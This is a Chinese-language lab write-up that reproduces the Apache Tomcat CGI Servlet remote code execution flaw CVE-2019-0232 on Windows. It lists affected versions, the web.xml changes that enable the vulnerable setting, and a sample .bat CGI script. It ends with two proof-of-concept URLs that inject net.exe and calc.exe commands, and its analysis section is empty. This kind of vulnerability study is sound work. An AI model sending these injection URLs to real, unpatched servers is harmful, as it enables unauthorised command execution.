CVE-2019-0232漏洞复现
记录一个cve-2019-0232的漏洞环境搭建的任务
1、相关信息
2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:
1. 系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
2、漏洞复现
我的复现环境:
windows server 2008 R2
apache Tomcat 8.5.23
jdk 1.8
jdk可以去官网下载,tomcat下载地址:https://archive.apache.org/dist/tomcat/ (最好下载bin目录里的文件)
然后就是配置java环境变量,参考https://www.runoob.com/java/java-environment-setup.html
解压配置tomcat,运行startup.bat,如果这里不能正确弹出命令行窗口显示服务器已运行,可能是java环境变量配置有问题,也可以在startup.bat最后加一个pause让命令行在最后不关闭,看一下是否有报错信息
配置好之后,需要修改一些tomcat的配置:
1)conf/web.xml 中启用CGIServlet和启用cgi的servlet-mapping
注意这里可能有些版本里的cgiPathPrefix的值是WEB-INF/cgi,需要改一下为我们后面创建的WEB-INF/cgi-bin
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
#将下面的语句的注释去掉
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
2)之后修改 conf/context.xml 的
3)然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 .bat 文件。
例:hello.bat
@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%
3、漏洞利用
Poc如下:
http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\net.exe+user
http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\calc.exe
(这里显示联通测速页面只是设计的一个例子)
4、漏洞原理具体分析